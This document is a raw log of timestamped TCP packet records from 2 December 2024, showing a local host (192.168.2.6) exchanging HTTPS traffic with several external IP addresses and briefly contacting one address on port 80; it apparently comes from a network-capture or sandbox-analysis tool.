Dec 2, 2024 07:37:28.573743105 CET	49745	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:28.573757887 CET	443	49745	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:29.726212025 CET	49749	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:29.726246119 CET	443	49749	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:29.726295948 CET	49749	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:29.726351976 CET	49750	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:29.726388931 CET	443	49750	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:29.726457119 CET	49751	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:29.726464987 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:29.726485968 CET	49750	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:29.726511002 CET	49751	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:29.726586103 CET	49752	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:29.726623058 CET	443	49752	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:29.726788044 CET	49752	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:29.726926088 CET	49752	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:29.726944923 CET	443	49752	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:29.727061987 CET	49751	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:29.727077961 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:29.727195978 CET	49750	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:29.727210999 CET	443	49750	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:29.727329016 CET	49749	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:29.727336884 CET	443	49749	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:30.244635105 CET	443	49741	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:30.245307922 CET	49741	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:30.245325089 CET	443	49741	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:30.245901108 CET	49741	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:30.245907068 CET	443	49741	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:30.345113039 CET	443	49745	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:30.345803022 CET	49745	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:30.345837116 CET	443	49745	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:30.346440077 CET	49745	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:30.346446037 CET	443	49745	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:30.352931023 CET	443	49744	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:30.360771894 CET	443	49742	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:30.362029076 CET	49744	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:30.362059116 CET	443	49744	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:30.362497091 CET	49742	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:30.362519026 CET	443	49742	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:30.362807035 CET	49744	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:30.362816095 CET	443	49744	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:30.363097906 CET	49742	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:30.363106012 CET	443	49742	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:30.373651981 CET	443	49743	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:30.374099016 CET	49743	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:30.374119997 CET	443	49743	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:30.374622107 CET	49743	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:30.374629021 CET	443	49743	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:30.679626942 CET	443	49741	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:30.679696083 CET	443	49741	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:30.679794073 CET	49741	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:30.689507961 CET	49741	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:30.689507961 CET	49741	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:30.689536095 CET	443	49741	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:30.689543009 CET	443	49741	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:30.715293884 CET	49755	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:30.715333939 CET	443	49755	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:30.715434074 CET	49755	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:30.716001987 CET	49755	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:30.716016054 CET	443	49755	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:30.780038118 CET	443	49745	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:30.780096054 CET	443	49745	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:30.780236959 CET	49745	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:30.781517029 CET	49745	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:30.781534910 CET	443	49745	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:30.781573057 CET	49745	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:30.781579018 CET	443	49745	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:30.785904884 CET	49756	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:30.785959005 CET	443	49756	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:30.786040068 CET	49756	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:30.786282063 CET	49756	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:30.786294937 CET	443	49756	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:30.797096014 CET	443	49744	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:30.797156096 CET	443	49744	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:30.797516108 CET	49744	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:30.797595978 CET	49744	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:30.797621965 CET	443	49744	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:30.797632933 CET	49744	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:30.797640085 CET	443	49744	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:30.800159931 CET	49757	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:30.800192118 CET	443	49757	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:30.800262928 CET	49757	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:30.800410986 CET	49757	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:30.800426006 CET	443	49757	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:30.805218935 CET	443	49742	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:30.805290937 CET	443	49742	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:30.805366993 CET	49742	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:30.805526972 CET	49742	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:30.805540085 CET	443	49742	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:30.805550098 CET	49742	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:30.805556059 CET	443	49742	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:30.807846069 CET	49758	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:30.807866096 CET	443	49758	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:30.807931900 CET	49758	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:30.808084965 CET	49758	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:30.808099985 CET	443	49758	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:30.826859951 CET	443	49743	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:30.826915979 CET	443	49743	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:30.827038050 CET	49743	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:30.827217102 CET	49743	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:30.827217102 CET	49743	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:30.827236891 CET	443	49743	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:30.827245951 CET	443	49743	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:30.830091000 CET	49759	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:30.830111980 CET	443	49759	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:30.830267906 CET	49759	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:30.830358982 CET	49759	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:30.830370903 CET	443	49759	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:31.113312960 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:31.116641998 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:31.427759886 CET	443	49749	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:31.436800003 CET	49749	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:31.436827898 CET	443	49749	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:31.437838078 CET	443	49749	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:31.437916994 CET	49749	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:31.453366995 CET	49749	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:31.453457117 CET	443	49749	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:31.453577042 CET	49749	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:31.453593016 CET	443	49749	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:31.461235046 CET	443	49752	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:31.461601973 CET	49752	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:31.461615086 CET	443	49752	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:31.462704897 CET	443	49752	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:31.462819099 CET	49752	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:31.463310003 CET	49752	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:31.463386059 CET	443	49752	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:31.463429928 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:31.464903116 CET	49751	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:31.464914083 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:31.465070963 CET	49752	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:31.465087891 CET	443	49752	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:31.466136932 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:31.466197968 CET	49751	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:31.466780901 CET	49751	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:31.466882944 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:31.467129946 CET	49751	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:31.467135906 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:31.506397963 CET	49749	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:31.506468058 CET	49752	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:31.507181883 CET	49751	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:31.509454012 CET	443	49750	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:31.509725094 CET	49750	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:31.509740114 CET	443	49750	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:31.510812998 CET	443	49750	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:31.510878086 CET	49750	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:31.511305094 CET	49750	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:31.511384964 CET	443	49750	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:31.511482000 CET	49750	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:31.511490107 CET	443	49750	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:31.552800894 CET	49750	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:31.711563110 CET	49752	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:31.711707115 CET	443	49752	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:31.711765051 CET	49752	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:31.964871883 CET	49760	443	192.168.2.6	4.245.163.56
Dec 2, 2024 07:37:31.964916945 CET	443	49760	4.245.163.56	192.168.2.6
Dec 2, 2024 07:37:31.964992046 CET	49760	443	192.168.2.6	4.245.163.56
Dec 2, 2024 07:37:31.966969967 CET	49760	443	192.168.2.6	4.245.163.56
Dec 2, 2024 07:37:31.966981888 CET	443	49760	4.245.163.56	192.168.2.6
Dec 2, 2024 07:37:32.286551952 CET	443	49749	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.286695957 CET	443	49749	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.286746025 CET	49749	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:32.288104057 CET	49749	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:32.288125992 CET	443	49749	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.322117090 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.322168112 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.322194099 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.322225094 CET	49751	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:32.322243929 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.322295904 CET	49751	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:32.322304964 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.338637114 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.338689089 CET	49751	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:32.338696957 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.339497089 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.339555979 CET	49751	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:32.339565039 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.354855061 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.354907990 CET	49751	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:32.354917049 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.373775005 CET	443	49750	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.374316931 CET	443	49750	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.374389887 CET	49750	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:32.375349045 CET	49750	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:32.375359058 CET	443	49750	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.397955894 CET	49751	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:32.441829920 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.492661953 CET	49751	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:32.497076035 CET	443	49755	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:32.497775078 CET	49755	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:32.497792006 CET	443	49755	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:32.498289108 CET	49755	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:32.498295069 CET	443	49755	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:32.500011921 CET	443	49756	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:32.500324965 CET	49756	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:32.500360966 CET	443	49756	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:32.500660896 CET	49756	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:32.500667095 CET	443	49756	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:32.509519100 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.522686958 CET	443	49758	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:32.523178101 CET	49758	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:32.523201942 CET	443	49758	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:32.523211956 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.523271084 CET	49751	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:32.523281097 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.523971081 CET	49758	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:32.523978949 CET	443	49758	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:32.526978970 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.527033091 CET	49751	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:32.527041912 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.539897919 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.539968967 CET	49751	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:32.539977074 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.545135021 CET	443	49759	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:32.545582056 CET	49759	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:32.545607090 CET	443	49759	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:32.546027899 CET	49759	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:32.546032906 CET	443	49759	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:32.548597097 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.548654079 CET	49751	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:32.548662901 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.560992956 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.561111927 CET	49751	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:32.561120987 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.574762106 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.574835062 CET	49751	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:32.574843884 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.579684973 CET	443	49757	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:32.580094099 CET	49757	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:32.580108881 CET	443	49757	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:32.580523968 CET	49757	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:32.580528021 CET	443	49757	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:32.587922096 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.588613033 CET	49751	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:32.588620901 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.601156950 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.601214886 CET	49751	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:32.601223946 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.614197016 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.614356041 CET	49751	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:32.614366055 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.632028103 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.632132053 CET	49751	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:32.632143021 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.637054920 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.637111902 CET	49751	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:32.637119055 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.677820921 CET	49751	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:32.710541010 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.712579966 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.712693930 CET	49751	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:32.712709904 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.725227118 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.725366116 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.725393057 CET	49751	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:32.725405931 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.725475073 CET	49751	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:32.732079029 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.739567041 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.739619970 CET	49751	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:32.739628077 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.746766090 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.746822119 CET	49751	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:32.746829987 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.752007008 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.752125025 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.752202988 CET	49751	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:32.752212048 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.752600908 CET	49751	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:32.764491081 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.794876099 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.794910908 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.794975996 CET	49751	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:32.794990063 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.795526981 CET	49751	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:32.805912971 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.807773113 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.807862043 CET	49751	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:32.807871103 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.807883024 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.807920933 CET	49751	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:32.811053991 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.820346117 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.820379019 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.820478916 CET	49751	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:32.820493937 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.820835114 CET	49751	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:32.830434084 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.840291977 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.840334892 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.840370893 CET	49751	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:32.840383053 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.840512991 CET	49751	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:32.849850893 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.858748913 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.858774900 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.858859062 CET	49751	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:32.858870029 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.858917952 CET	49751	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:32.867332935 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.876128912 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.876213074 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.876226902 CET	49751	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:32.876245022 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.876400948 CET	49751	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:32.884639978 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.886046886 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.886113882 CET	49751	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:32.886126995 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.894705057 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.894798994 CET	49751	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:32.894812107 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.916193962 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.916248083 CET	49751	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:32.916260004 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.919540882 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.919606924 CET	49751	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:32.919615030 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.922349930 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.922394991 CET	49751	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:32.922403097 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.926095009 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.926145077 CET	49751	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:32.926153898 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.929400921 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.929451942 CET	49751	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:32.929464102 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.932674885 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.932766914 CET	49751	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:32.932775021 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.936199903 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.936245918 CET	49751	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:32.936254025 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.936384916 CET	443	49756	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:32.936454058 CET	443	49756	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:32.936543941 CET	49756	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:32.937037945 CET	49756	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:32.937062025 CET	443	49756	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:32.937077999 CET	49756	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:32.937083006 CET	443	49756	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:32.940180063 CET	49763	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:32.940222025 CET	443	49763	13.107.246.63	192.168.2.6
